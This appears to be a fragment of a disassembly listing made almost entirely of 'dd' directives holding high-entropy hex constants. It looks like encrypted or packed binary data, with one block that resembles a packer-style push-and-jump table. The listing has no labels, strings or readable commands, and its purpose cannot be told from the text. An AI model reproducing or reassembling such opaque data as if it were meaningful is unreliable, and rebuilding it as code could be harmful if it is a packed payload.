		dd 69119DA2h, 7624DA80h, 0D747BB20h, 7310F352h,	45F11152h
		dd 10AC0CC9h, 0C4BC0E91h, 0DC75C3Eh, 0F5673F8Eh, 0A7A98h
		dd 0C8325200h, 53A5D7ABh, 0DB275C32h, 619DC4BAh, 0E8124E3Ch
		dd 524C20CBh, 0DBAFCC36h, 5C3253ADh, 0CAB8DD29h, 3C406591h
		dd 0E739BFBh, 0F13E580Ch, 4CB6D2DEh, 0D4205B2Fh, 0FCE560B7h
		dd 586181BEh, 75BF9E2h,	7727D18Bh, 0E5194032h, 0D83ABF22h
		dd 0A7F62CBCh, 3AC7A6F9h, 0A9B71EC3h, 5EE12D3Eh, 0A8FE12CCh
		dd 3B44A7F6h, 5896CFC0h, 0A45D228Eh, 0F69E2A42h, 7D3C67A7h
		dd 4C6A840Bh, 52561E6Fh, 0DDh, 19E79D11h, 0B9D28796h, 1F4BD94Dh
		dd 0FB1B5CE5h, 5EA1FE53h, 0FEF21A7Ch, 64BF5EA1h, 37A766B9h
		dd 0A1F9288Dh, 31A1DA5Eh, 167E37E9h, 355639C9h,	30E21641h
		dd 0CE302CD5h, 0A15E2DA6h, 4783D4F3h, 0F7700014h, 6A8CB514h
		dd 0A406FF73h, 0C5C0E53Ch, 66A93A1Ch, 895F261Eh, 0D1B04C35h
		dd 87E3EF30h, 8908A97Dh, 0AE31A259h, 6F9013A2h,	2FFF0963h
		dd 0F8F60B8Ah, 0AAC22480h, 0E7AC0A58h, 87B8DDBCh, 9AA7510Bh
		dd 0A58DC78h, 870699ACh, 0CDB14B37h, 3F889C5Ch,	5CBB1A88h
		dd 4C000009h, 0F5C9EA10h, 62507583h, 0E6D4F905h, 106607FBh
		dd 4AF19268h, 0FA007822h, 1FFE5D9h, 8B7F6E5Ch, 17E394EAh
		dd 0E9094E76h, 580C0F4Dh, 0D2908F08h, 48B34CB6h, 0F520BD9h
		dd 3459D8C1h, 0BCE11546h, 5EB9D26Dh, 3C68BD2Dh,	7CC6AFDFh
		dd 0DA683A9Dh, 26AC55A1h, 57FF1FB5h, 225EA121h,	0FC612083h
		dd 0ED1250B9h, 8205FBE1h, 9BFB3C7Dh, 5EA12173h,	0FA24E73Eh
		dd 5BF93443h, 9321F52Ch, 843052F8h, 0B3A7F934h,	0F9343B53h
		dd 702F76A7h, 0E8BA4422h, 6607E649h, 6E936710h,	34A1CD2Dh
		dd 0B5ECA7F9h, 33BE60F2h, 0F524BB2Bh, 7F68527Dh, 178768Bh
		dd 65593AFDh, 0CB148672h, 0B66498C7h, 0C36EB073h, 622CB359h
		dd 0A0DBE1AEh, 0BD3B0A30h, 3D9C7F73h, 56B12A98h, 0DF42D02Ah
		dd 93CFC37Ch, 0B574B569h, 182EFF21h, 55E76759h,	0E317407Ah
		dd 7FB8275Eh, 0CDEC1EEBh, 2255294Ah, 18C144D6h,	4C45A55Ah
		dd 4129EBFDh, 7984BDDEh, 0A784665Fh, 36B5744Ch,	35768BC9h
		dd 0C8A8B9D5h, 0EAADF435h, 87C0F515h, 0C3CF3090h, 47DA5DA7h
		dd 7D944EDCh, 0C13A60DDh, 56709E31h, 58C18836h,	4F1h, 0FE16BEE9h
		dd 0F0205EA1h, 0FE5EA1EEh, 0A15DF03Ah, 5E122C44h, 0D29079A1h
		dd 0C63AA12Dh, 279BA47h, 9C9FA808h, 7EA0638Eh, 0A406009Bh
		dd 0FE593D64h, 1634748Eh, 7E50984h, 9FC70000h, 18724065h
		dd 82F9CDEEh, 70695D7Eh, 0EF9BEF8Ch, 0A1D57015h, 5A7B81F9h
		dd 0E3807E64h, 690AFEEFh, 0F5966215h, 0CE6688CFh, 8B580C0Dh
		dd 0B9D2130Eh, 9658C129h, 8968A3B7h, 1557B015h,	0FDEC8AECh
		dd 6EB15BFDh, 553BA64Dh, 3151EEACh, 0A2AB81D4h,	0A8D97EA1h
		dd 0C1B75A5Dh, 58BA0653h, 0AC0B823Ch, 0C4472679h, 6AAE351Ah
		dd 0BBF9E637h, 0E2044586h, 1DE8BE4Ah, 74A0C207h, 411DE8BEh
		dd 62BC7FDEh, 18B0A527h, 4D29DDE8h, 0A5F1FE9Eh,	4C38B70h
		dd 49A9C220h, 6200662Dh, 0F7563968h, 6839A627h,	961B8B7Fh
		dd 66ED0969h, 79A86200h, 0AA286996h, 0CC6DC13Dh, 4F3E954Dh
		dd 54956758h, 58A09A32h, 0F012D76Bh, 6B58A044h,	6C2F8E11h
		dd 0CA91CAF1h, 0AD73926h, 6F1896ABh, 0F14446FFh, 482BBEF8h
		dd 0F81476B7h, 0B56B58BBh, 0B9CAAB6Ah, 3147EA42h, 14D32220h
		dd 87A5C412h, 7DD150CEh, 16BEA00Ah, 636B582Ah, 0FD61C0h
		dd 0E4F8DAEEh, 6D11F76h, 8BFB0000h, 0C7E4C71h, 0FEE5D9FAh
		dd 746D6102h, 0EB97EB88h, 0A5C96C11h, 56778DF5h, 0E7847A60h
		dd 6D0EFA93h, 0F99A6E19h, 0CA6284CBh, 87580C0Ah, 0FCE5170Ah
		dd 246181BEh, 915BF9EBh, 4F439C0Eh, 1318810h, 0E170368Ah
		dd 8A0DAC7Eh, 0EBBB4F38h, 0FAE6ECF3h, 8C0F9200h, 31DED3FCh
		dd 11ACCE73h, 0A2AE60h,	88779FFFh, 0E342AC0Eh, 4162BD20h
		dd 0E88F121h, 1AA7DEACh, 198D8D32h, 0CB63BF7Eh,	9EAC0EBDh
		dd 0CD0E3371h, 0B26094C1h, 5472AC6Fh, 19A952E7h, 41EA1486h
		dd 51B2A0AAh, 0F94AC05Eh, 89F01740h, 43309275h,	9321226Eh
		dd 6218C01h, 5B0B0000h,	0DC8EFCA1h, 4E35892Ah, 0C4BD11B2h
		dd 0BB279B38h, 0F5791C41h, 6A75D05h, 9734CAB0h,	1DBE4A23h
		dd 0A9CA3EA9h, 9A32549Bh, 0D7580C0Ah, 0FCE5675Ah, 4DC7C0DAh
		dd 0A14C812Dh, 9655CC5Eh, 7DDC3FEBh, 0CB6383C4h, 865EA103h
		dd 3639C1Fh, 5BFD5965h,	1FF49D28h, 0C42F17A3h, 0D72EB165h
		dd 5524D793h, 5BEBAA84h, 0ED1EB020h, 0E73D03C9h, 0C0A302F6h
		dd 0BBF118A3h, 0A85E0886h, 0B42775E9h, 69C83453h, 0F1057644h
		dd 0CF264250h, 4C8B6A9Eh, 9AC7967Ch, 74E6A949h,	0ED41B526h
		dd 0FFC5CA9Eh, 0B35B788Ch, 561A4995h, 1C299h, 1E4A4800h
		dd 3F336E4h, 0AA0F9F69h, 0FCE5F8EBh, 0E1FAAADAh, 5E49213h
		dd 62179AFCh, 89185BF9h, 8C45EB15h, 52E6A7F9h, 0DF840A7Dh
		dd 483D7323h, 0E84BEEBCh, 745A229h, 991998FAh, 0D78A2A1h
		dd 4E33BE64h, 0E05E9D66h, 0F7EB57E0h, 0BF4AD958h, 9A07BA5Ch
		dd 254629DCh, 40D22651h, 7E99F2h, 0FFD8489Ah, 3699D54Ah
		dd 8A773657h, 0F8F637C8h, 56A97D81h, 11F19834h,	0EB4AD5ACh
		dd 0FC03F628h, 0B5ECA949h, 3A71718Ch, 325FE1C6h, 92E0E373h
		dd 9B3353F9h, 0D6B2A65Ah, 9F3EEC4Fh, 520BEB98h,	9F1E8126h
		dd 0A61A2F43h, 0AAE595B2h, 0CEF72244h, 0DF8E0448h, 0DABD4138h
		dd 0D126E948h, 35h, 0ADFCE57Eh,	2240AC34h, 0F5B62613h
		dd 6C8EB312h, 5BF956ADh, 0E5117176h, 0B0A7F978h, 1CE89D71h
		dd 9B37E9BDh, 21A7F978h, 0B6D03E91h, 0B8561F94h, 0B8h
		dd 13B9D289h, 0A1FE5BF3h, 0EB9C165Eh, 49DDBC1Fh, 0BD4138B6h
		dd 0B86A9EC9h, 5C04B679h, 35A6F4A6h, 0D5B200C1h, 0D02C5529h
		dd 1C4FDD51h, 3A9BCBE8h, 655EA1F9h, 951D2E1Eh, 0E2A5074Ah
		dd 0B2D32750h, 0B34C0EEBh, 0FF0B7C72h, 5E82CB63h, 0AF1F86A1h
		dd 0D75AC83Ch, 3E4BAB54h, 83A40709h, 0F7931F20h, 6E1A680Dh
		dd 0E0BB3694h, 0D9F3477h, 41280h, 0B04A3A00h, 3BCDBF13h
		dd 43BF249Ah, 0C935AC22h, 50AAD6A4h, 3AE48833h,	0A317B44Eh
		dd 249A3BC5h, 522045B1h, 94A8CD39h, 89B3353h, 59D6580Ch
		dd 4CB6D266h, 0C7205B2Fh, 72B76799h, 0FC176E93h, 8FA5B737h
		dd 67BADB5Ah, 0B44DB9D2h, 274D9049h, 1C9F5048h,	0A84F388Eh
		dd 0D958CA30h, 0BEC25576h, 5EA27E12h, 5E7EF41Ch, 7A38A1A1h
		dd 2487A5C5h, 51ACA402h, 360D95B6h, 5D68550h, 9C1AE1h
		dd 25F9057Ch, 0FF622584h, 6634C8B7h, 4BB260C3h,	5F53ECAEh
		dd 0EA4FDF21h, 0B1B4D62Bh, 2A2A8F3h, 12719DFDh,	0E53CAC09h
		dd 0D13FA002h, 85173F8Bh, 35E08h, 0EC164E00h, 7781FBCFh
		dd 877B6056h, 15E990E6h, 9C660270h, 66185CFFh, 0EFE3807Ah
		dd 186E0FF1h, 86F4996Dh, 407C21D5h, 9B7DF3Fh, 0B502580Ch
		dd 74139F9Ah, 0C2B50988h, 609B6436h, 6A4EA7FDh,	0E85ADDEFh
		dd 596A0BFFh, 0EB485C22h, 0FD78984h, 5879FC4Dh,	0AD28EB04h
		dd 0F5F90644h, 0BEB158Fh, 51F8A2A0h, 3AFD3CEEh,	234384C5h
		dd 5EA1FC8Bh, 2DC5FC6h,	5BF9F1B7h, 6A752978h, 11857164h
		dd 1D00ACCEh, 0D24DA7F6h, 0C26EB073h, 78A7F61Dh, 7F80F7D8h
		dd 0E3E97004h, 0F668A6BBh, 0A7F6495Eh, 6109881Bh, 561ECA47h
		dd 0B5B4245Fh, 0DE741EEFh, 66CB5BAFh, 3BF30487h, 5C000000h
		dd 903C5E9Fh, 0DD5EA1FEh, 9B44C342h, 0CD619DCAh, 12748D6Ch
		dd 5BF9E297h, 6B950998h, 0A7F62CC7h, 51C533A5h,	0C95DA7C3h
		dd 230A85DDh, 26C8C78Bh, 561EE100h, 101EEh, 0B9D23300h
		dd 0B7B12029h, 6434DFA3h, 0DF5C9BD1h, 0BA4E3F09h, 59E649E8h
		dd 0A12D9D39h, 0E649D85Eh, 0FAE634h, 0EE105192h, 5EA12D46h
		dd 6F559013h, 0EB0EBC5Eh, 0FFE85ADDh, 52059B0Bh, 0F8DD05A6h
		dd 0EA5EA101h, 81FC05F1h, 0D5830AD4h, 0E28302A0h, 9F0FFBECh
		dd 6E93D13Eh, 44A1CD2Dh, 0A8C35EA1h, 0B46BCE5Ch, 1455AA6Dh
		dd 441BB3D3h, 0CF565EA1h, 2FFF017Fh, 0EED70B8Ah, 0CB5BFABEh
		dd 97703B58h, 0E7EB2CD5h, 0BCD806FAh, 0F9A7F954h, 0F81AE7A6h
		dd 0A2A0CA4Bh, 748F928h, 0FF64FE7h, 189B0AACh, 5FFEBE7h
		dd 8C761260h, 8D35BF2Eh, 94F96B3Fh, 1B7h, 7617ED91h, 3A05600h
		dd 8F2CD08Fh, 11B24E3Bh, 9E3FC5BDh, 0DB8777FFh,	500E7C21h
		dd 0CCB90DAEh, 0B4279B38h, 0DEE12340h, 0C0710BCh, 0FDD45D58h
		dd 9C79139Fh, 278A18E6h, 971C544h, 0FE214DADh, 356C5EA1h
		dd 2A5D3152h, 866997CDh, 0FCE532E5h, 3F4081BEh,	0A1FEB7DFh
		dd 4CB82D5Eh, 13CF4ED1h, 0A4061D96h, 96621B9Bh,	50C2A504h
		dd 0F62F02AEh, 0B718B8A7h, 1EE03F59h, 9A2F56h, 0D2F00000h
		dd 6D94DB9h, 792DD188h,	0A51B725Ch, 0FD5CCF83h,	2AD0883Ah
		dd 0EC674678h, 6C1F5EA1h, 0D487FB98h, 0F5931F20h, 3A9D6118h
		dd 9A18EB7Bh, 0A45A00EFh, 51D0B3F6h, 0D26F2DCAh, 0FA1455B0h
		dd 0DEFF265Bh, 0CF7032DFh, 0A074B7AFh, 9EA302A2h, 0F1926810h
		dd 0BF1FE59Dh, 3F8E5C10h, 0D81362F0h, 0F0000000h, 6155768Ch
		dd 0EEDC8177h, 1A680DF1h, 9CF2936Fh, 0DE7D1EE4h, 6FCE496h
		dd 956B1165h, 1FEB82F0h, 0AB5F087Eh, 55B5FA0Ah,	580C0439h
		dd 0D2043B74h, 5B2F4CB6h, 60B7D420h, 903C5E9Fh,	0DD5EA1FEh
		dd 315DBD42h, 7C5EA1FEh, 0A7D06225h, 1A4DC353h,	21CECDEEh
		dd 0EF10570h, 0A4E791F1h, 6FB65BFDh, 8A7E69BFh,	0B90B0E75h
		dd 0BD1440A2h, 3E61A7F3h, 5DC08E3Bh, 92C5B9DAh,	0D0AB466h
		dd 9F79A2C7h, 0E31F4A48h, 457F5020h, 1859E612h,	0A0E65EF6h
		dd 9881BC9h, 82651664h,	7A8519E5h, 0A0E6FC18h, 8766B9C9h
		dd 0B9207624h, 523ED145h, 0E014477Dh, 0C834535Fh, 24F6007Ah
		dd 6D610285h, 0B11C8E7Ah, 13h, 0E41FE0BEh, 42386D8Fh, 0ED4A9133h
		dd 35BD3A34h, 0D2DCCF4Eh, 44DA48B2h, 0E137E713h, 1C9200F4h
		dd 0B40A9866h, 0D66436CCh, 4CC250AAh, 0E735E915h, 9604F8h
		dd 14F2A056h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
		dd 23682414h, 8900003Eh, 3B68242Ch, 89000049h, 0BF572414h
		dd 6ADEF15h, 3C8BFD89h,	4C48124h, 54000000h, 8124148Bh
		dd 4C4h, 0EF895700h, 8BB53h, 0D3010000h, 5F5B3B89h, 5224148Bh
		dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 815D2434h, 4C4h
		dd 4ABAE900h, 0E89FFFFBh, 0B8651462h, 6ADFB1Fh,	0E0FFC503h
		dd 4180BAE3h, 3C4BA0A2h, 3B7CAA75h, 8A3C1B9h, 0A7078BCh
		dd 6BB028C5h, 5EE9FA92h, 5DC0923Dh, 6355383h, 636587h
		dd 3CC995FBh, 28C9AAE0h, 414D845Dh, 5C3CB686h, 5CBB9A91h
		dd 62CB2468h, 2A16F485h, 293F45EDh, 7D147090h, 3893977Eh
		dd 2B029DAh, 6F7CCB4Ch,	2BFBF66Bh, 0DCE9h, 0E9079500h
		dd 459CD70Fh, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h
		dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
		dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
		dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
		dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h,	0AFF144D6h
		dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
		dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
		dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
		dd 43F1B6D0h, 0F0A8CDh,	0
		dd 129D7447h, 5E99E0E3h, 9 dup(0)
		dd 14D0E900h, 0E6680000h, 0E906ADFEh, 0FFFA80D6h, 0AE001068h
		dd 80CCE906h, 0EF68FFFAh, 0E906AE00h, 0FFFA80C2h, 0AE022F68h
		dd 80B8E906h, 0AA68FFFAh, 0E906AE02h, 0FFFA80AEh, 0AE039C68h
		dd 80A4E906h, 3668FFFAh, 0E906AE04h, 0FFFA809Ah, 0AE04D268h
		dd 8090E906h, 7C68FFFAh, 0E906AE05h, 0FFFA8086h, 0AE068268h
		dd 807CE906h, 9368FFFAh, 0E906AE07h, 0FFFA8072h, 0AE08D068h
		dd 8068E906h, 0C168FFFAh, 0E906AE09h, 0FFFA805Eh, 0AE0B2868h
		dd 8054E906h, 8968FFFAh, 0E906AE0Ch, 0FFFA804Ah, 0AE0E8F68h
		dd 8040E906h, 8C68FFFAh, 0E906AE0Fh, 0FFFA8036h, 0E9CD574h
		dd 79CD88A5h, 0AFFBB2D6h, 9F2B6E04h, 0C85E1334h, 43E42E43h
		dd 7717B80Eh, 2143EC3Ah, 0D271D268h, 4D9F0F9Bh,	5D3FF3Bh
		dd 9887C5B6h, 0F09D5CFFh, 463F68B5h, 34CB0DD9h,	6C812238h
		dd 0C5BEFB98h, 0E0A9CC53h, 8B3E15Ah, 0A045A8D2h, 143FB600h
		dd 0C870538Fh, 0D5D11781h, 0F1B6009Fh, 0AD99991Ah, 4814771Bh
		dd 45h,	0EB5E7D3h, 54FAED8h, 0C711B600h, 0D380EB69h, 0C6100996h
		dd 247463E5h, 6AEC311Ah, 0B6008A2Ah, 3644ED46h,	1477655Ah
		dd 120BDh, 0EF194700h, 0B60095ABh, 960F0BBDh, 5AF5B600h
		dd 1F3EAF88h, 58D0C956h, 0EA1CBA53h, 0AF57D6AEh, 0CC1E57F5h
		dd 0CB6A3563h, 0DEC11D82h, 7FA8F5B0h, 98D57639h, 0ADE08162h
		dd 6407980Bh, 7C1F802Dh, 4DD29BBDh, 3927635Ch, 0FF567FBFh
		dd 4FB02921h, 0E13A6722h, 0C95FB1B7h, 2144AF58h, 0D271D268h
		dd 2795169Bh, 0DFC06E9Ch, 71AAF7B2h, 0D09A2127h, 0A4CB600h
		dd 0C2A00BB2h, 39C751FCh, 6A11ECFFh, 0DEB73D28h, 6E5DFF48h
		dd 0FB3F49C1h, 0C9B600AFh, 6E9C756Eh, 0AB5184DCh, 3E5D7EBCh
		dd 18F12A77h, 296C01E2h, 0EC2C5E84h, 0D6BCAB50h, 0CE14847Dh
		dd 0BD0944E5h, 8C3C7112h, 0EC7F4483h, 32552E8Dh, 19000012h
		dd 50F3377Eh, 7F206623h, 0A90A90D9h, 0D97AC085h, 2AB1F5B8h
		dd 0A7EA8B87h, 0D39EC063h, 148EC57h, 327B1A85h,	50EA70F4h
		dd 0B605D558h, 0FF47EC2Ah, 849DF25Eh, 2F0490DDh, 0A90AF036h
		dd 4F58C588h, 6E2746E9h, 0B0E812B8h, 0F3AF57E8h, 61CA1C55h
		dd 79A74D37h, 57E8CBCFh, 1A9EB9AFh, 0EB5E711h, 0AB38B2D8h
		dd 9DFBAB93h, 0B5C81E9Ah, 8FB6007Ch, 69E37FA4h,	4E348546h
		dd 0BD4BED97h, 0B6005679h, 0E5F5BE15h, 1477A909h, 11B9DBC4h
		dd 8FE67B78h, 0E3352EE9h, 0D351h, 5CFFEA00h, 71528815h
		dd 8F1098DDh, 0FC7EA3EEh, 0AF57DBA2h, 0FF2B6201h, 0A1FAB17Dh
		dd 1F9948FAh, 226B0AB5h, 32C57284h, 0D8C339B5h,	8A2AF350h
		dd 0DD6F9531h, 0AF5829DDh, 0C62C8CA7h, 323584h,	0E6240FB6h
		dd 0BFFA9778h, 0B50EAE79h, 0C08DAE11h, 0D7788268h, 0ADBCAAD0h
		dd 0D67B6482h, 0B1DF0593h, 91802C4Eh, 0A29AC167h, 47E84039h
		dd 54BF6B26h, 61077831h, 6928B28h, 120456BCh, 0B9C8408Fh
		dd 3D5EC157h, 61C14870h, 0E0C3EC80h, 11081Fh, 148EF00h
		dd 30751A85h, 662F49EAh, 96D37F20h, 0C38EAF10h,	59B9F847h
		dd 8E317538h, 0BA65A1ECh, 0EC57D39Ah, 22BA0049h, 0D78A8E38h
		dd 3278B605h, 0EA1CBA15h, 0AF57D6AEh, 0B27DBB94h, 0E54EDC91h
		dd 9CBB0F46h, 0F1155CFFh, 0D6F9314Bh, 60CBAF57h, 0ABCA5BC8h
		dd 5DFBA4E2h, 70538F14h, 0F8304AC2h, 0CAAF57D6h, 7F208861h
		dd 8E7195DCh, 22FA7EEh,	0D2187056h, 0D68B71A7h,	96A517F6h
		dd 27C3BCF9h, 3176E5h, 85E34CB6h, 8A624443h, 6ED547ADh
		dd 7D3457B8h, 84CD6F30h, 0A5E70DABh, 0B4327016h, 5DDE43ECh
		dd 0E7AACCFFh, 0D7AED80Eh, 0ADBADDD9h, 8C3E6482h, 0BADDDA8Ch
		dd 915BDD76h, 7FBBCD6Bh, 45BADDDAh, 42E14EEAh, 51F4DF0Bh
		dd 16829B18h, 296003ACh, 4CBB64FFh, 0B809AAEEh,	1029h
		dd 9A206910h, 0D5511439h, 387CE6Ah, 73B7F2A0h, 0A4E2AFD0h
		dd 0D7789ADFh, 83A30C9Ah, 0B5D778CEh, 6605AEFCh, 0D9039B2Fh
		dd 5D76BAFh, 341359B6h,	88155CFFh, 98DD7152h, 0A4E98A1Bh
		dd 0ADED1FCBh, 97AF57D6h, 9AB7CBCh, 0D7F214B2h,	0ADB60007h
		dd 4821640Ah, 0B1EB49F2h, 0ABA313B3h, 0B5514A8Bh, 0A87CB813h
		dd 7CA18ABCh, 0A87CBAFAh, 0B47DD6BCh, 8F70CAA6h, 4E2D1Fh
		dd 0E7F60000h, 81B9C3B5h, 43AF57D7h, 0B1CBFFE8h, 0B6002724h
		dd 0D29BBD1Eh, 42E2CDF9h, 51F4DF0Bh, 2777B3D5h,	0E24DB600h
		dd 1273A409h, 15FF397Ch, 26B5F3h, 0A20DABB6h, 800CA83h
		dd 0FAB60027h, 3558C751h, 0E7852E7Ch, 628001AEh, 9B00000Fh
		dd 0D80EB5E7h, 5D415AEh, 0A644EFB6h, 0D3571E3Dh, 0F49CD70h
		dd 29FD8C7Dh, 0A0EC8E7h, 0F8B60506h, 7039665Fh,	394367DCh
		dd 0BCB30201h, 14B268C3h, 0B301B6F2h, 7A38CBCh,	0B301C5C5h
		dd 494BFBCh, 9756F5DEh,	2475BAF7h, 3154FF4Bh, 0C2723B78h
		dd 8E31D098h, 0E8E21E53h, 18B056C2h, 18CEA7EFh,	3E7711F2h
		dd 185D6CFAh, 0C27C35Bh, 0CF7E41DCh, 9F6043E5h,	0EE9h
		dd 5AE0A9D0h, 951154F9h, 0C3470E2Ah, 33773260h,	64A2EF90h
		dd 1738DA9Fh, 0C363CC5Ah, 0F597388Eh, 0A6C56EBCh, 19C35BEFh
		dd 5D8ABEFh, 0F45399B6h, 57D75EA6h, 44FF5DAFh, 0D32C64A6h
		dd 3D16B605h, 0AF072689h, 8A3C8A62h, 0B605638Eh, 3303DB74h
		dd 0C061C215h, 0AD16948Dh, 0A923C78Eh, 55CE2190h, 0D7B4E4CAh
		dd 0A95DE656h, 0AD543C1Fh, 0FB2D06BCh, 0EC7D424Ch, 6EF05152h
		dd 5500000Eh, 842F7B32h, 0B31CAAEFh, 0E54EDC95h, 15BE0C49h
		dd 66ED3974h, 0D39EBF53h, 74AEC57h, 357C2083h, 662F4EF1h
		dd 64A64420h, 0B605D924h, 0BA73D81Eh, 0D6AEEA1Ch, 3394AF57h
		dd 33655E13h, 2380C96Ch, 0F1B8DCC7h, 3D4F7BACh,	0AF57D6FDh
		dd 63CC6CC7h, 2B6201C0h, 1E34ED32h, 2D4DD65Bh, 570BC360h
		dd 64CC07C7h, 159E156Bh, 0FC216C0Eh, 33B8B2ABh,	0A9C52E72h
		dd 0C25647ECh, 0DF607A56h, 8A39D12h, 0E7A60000h, 0B2D80EB5h
		dd 0D6B6F214h, 0A38CAF57h, 0D2CCF375h, 9DB6B605h, 4AE28669h
		dd 87218431h, 0F03D166Fh, 8EB71A7h, 0F502CD65h,	344FA570h
		dd 0C164CF5Bh, 0E6185288h, 0E248943Bh, 7F8DFF36h, 19F2F063h
		dd 0FD5F5BEDh, 0A25B604h, 0BE213DAEh, 5049D69Fh, 0FD060ED8h
		dd 1785B604h, 0EDCC7EACh, 0D7BCAD2Dh, 68954C7Ch, 0FC3FEC7Dh
		dd 0D7C03h, 8DC46300h, 0BCF99639h, 0EAA3C56Eh, 1A5FF35Ch
		dd 4F02238Ch, 0D53D7CFBh, 2ADF9B4h, 36992D60h, 68CB5F16h
		dd 0AE3E8CC5h, 0DA0E0ABCh, 0B6F4B605h, 9D5CFF89h, 57DCB5F0h
		dd 0B9E6AFCEh, 909AA01h, 12DFD21Dh, 7ECF8h, 5EA64300h
		dd 5DAF57D7h, 0D96389FFh, 0AF57D6E1h, 4A4E88A3h, 38AF57D7h
		dd 4680261Fh, 0B605D397h, 0AE620F49h, 0D48C4510h, 7591BA44h
		dd 64A2EB8Ah, 4CD198BBh, 34D269CBh, 0AD92B792h,	0A2A8DBCh
		dd 43E0A9CBh, 6098716Ah, 0EC7D03ABh, 0E2358E2Dh, 0C900000Ch
		dd 0A3E7AEh, 2F901653h,	59FA4009h, 892A7035h, 9A61A5E8h
		dd 571A3BD7h, 83CE70D3h, 0B1F89C07h, 0E2ABCA75h, 0E01AC0A4h
		dd 0B605DAA8h, 0FFF75C9Ah, 67F1155Ch, 1156E428h, 9B08A01Bh
		dd 84226B0Ah, 0D132771Bh, 0CDBEFAB3h, 65753EBDh, 12DF2989h
		dd 7446Ch, 30BAB700h, 98641EF6h, 36F127D8h, 7F893D86h
		dd 0B60611A5h, 0AD16B49Fh, 67224F8Eh, 0B208E13Ah, 16DA7211h
		dd 9594440Eh, 65E54A23h, 0B6065821h, 65813A9Ah,	0AE890823h
		dd 0B751FABCh, 0EC7C0D6Eh, 46028320h, 2D00000Ch, 5CC7430Ah
		dd 8B347237h
		dd 0BD66A4EDh, 0ED56D491h, 3E85014Ch, 0BBF6977Bh, 0EFA2C46Fh
		dd 1D54F85Bh, 4E072689h, 4CFE6CF8h, 0B605DB4Ch,	0FF4BF036h
		dd 5288155Ch, 7414D171h, 0CEA7F03Dh, 0B1D74861h, 4CEFB0F8h
		dd 0F8EE9805h, 8CD97117h, 0F767CA0Eh, 87901DF6h, 0F9F9BA11h
		dd 12DFCD0Dh, 69CE8h, 1CBA3300h, 57D6AEEAh, 7DBB94AFh
		dd 57D6B0EBh, 0F249EBAFh, 0D3BDB2D4h, 0AC87B605h, 0BFF6957Eh
		dd 0ECA5C86Bh, 2056C647h, 5D4A2E6h, 0DEB760B6h,	0ECA5C728h
		dd 964A64Ch, 0FBBCADDAh, 0BC57A850h, 0FA39EC7Ch, 0B9C09h
		dd 0ADE48300h, 0DC99B619h, 0A43E54Eh, 3A7F13BCh, 6F2243ECh
		dd 0F51D5CDBh, 228D1954h, 56F94D00h, 882B7F36h,	8E1EACE5h
		dd 0DBEE2A5Ch, 96D4B605h, 155CFFA9h, 0B5741788h, 5952DF96h
		dd 0CB30BA60h, 6AB08BAFh, 7267B74Fh, 6B2ECC17h,	72DB5ECDh
		dd 0C28BAAB1h, 3EE4D044h, 250312DFh, 24000001h,	88155CFFh
		dd 9ED77152h, 0F901811h, 26E1256Ch, 6F994DF6h, 0B5FFF600h
		dd 2C469C2h, 0B5FFF602h, 6E6C359Eh, 1477CD72h, 2C95h, 0B5E7AE00h
		dd 37A8E586h, 47635C15h, 4EA05h, 56F7D8B6h, 0C38AAA1Bh
		dd 818545EAh, 1DB60005h, 0F1EDEDB6h, 141477F8h,	0A2h, 155CFF2Fh
		dd 3B761788h, 470E2DF6h, 632A49DAh, 2DB2527h, 0A5C8AF58h
		dd 4FED5EECh, 0A97DA7Ch, 78823811h, 0B602A255h,	0BF4CC10Bh
		dd 2EA4E426h, 0B59EB602h, 0A036113Dh, 0B96DC608h, 22783556h
		dd 7BADE081h, 0F327DF9Eh, 9642C3E0h, 7D00000Ah,	0AC1793DAh
		dd 0DB44C287h, 0DB6F4BDh, 3DE62461h, 4ED5511Ch,	0B46E72Bh
		dd 3F7214BFh, 6D2448EBh, 9ED776D9h, 3C4E9C08h, 0B605DCFCh
		dd 0BA9B80C6h, 2D723B59h, 52F3BCFCh, 1661EB1Fh,	25A64444h
		dd 0B619E335h, 0C728DE97h, 0D97CEDA4h, 9E1A1390h, 59BA0F34h
		dd 0C0CBE3Ah, 0F6AF57D7h, 6D6A645Dh, 1286ED13h,	791C8315h
		dd 0DB4F4BFDh, 1A35AF57h, 23FC21h, 0D272FD49h, 55000004h
		dd 0D80EB5E7h, 0FFFECBAEh, 119EB9B5h, 1D1DAFD5h, 0E7B5FFFFh
		dd 2C6C9E4Ch, 16B5FFFFh, 296DFB3Dh, 45B5FFFFh, 5811349Fh
		dd 0DFBD9F8Eh, 94041875h, 0C92A763Fh, 0E0B4E4A9h, 147728F4h
		dd 1F613h, 5C63F500h, 108F1A4Dh, 0A6A18A2Eh, 0AF57D765h
		dd 994DF626h, 5D3786Fh,	0C5E14AB6h, 0B1CB719Fh,	0B605D379h
		dd 0E226E04Bh, 0A0B605D2h, 0DF7E2177h, 8CAF1096h, 97FFE724h
		dd 4B24A195h, 4CF725E6h, 52116C9Eh, 58F3BCADh, 7D4443A0h
		dd 0DF635ECh, 985h, 684CD6Ch, 71B5F09Dh, 0A7E3AACEh, 971356FCh
		dd 0C0460B2Ch, 0BBDC367Bh, 6F0FB0F6h, 193BE422h, 0CA69CA50h
		dd 45A70783h, 5DE0703h,	90BFFDB6h, 88155CFFh, 893D7417h
		dd 0EC016E4Fh, 0A2F6BA67h, 4CD57EC1h, 0DB6F2645h, 0DF8A8773h
		dd 1516612h, 0FFB90000h, 1788155Ch, 4F893D74h, 39AB7AABh
		dd 0EA50D85Bh, 964ECA0Ch, 0DE5E3F0Ch, 0BA68BC04h, 79BF1E20h
		dd 11B50EAEh, 0ED88F7h,	4CD17AB6h, 0ED8A8Ah, 0E44D26B6h
		dd 76C4FAD6h, 3A1D14h, 0BA260000h, 22763F59h, 5E8C3765h
		dd 4D12Ch, 5B4597B6h, 0A071B62h, 53FC0296h, 0E3080CCEh
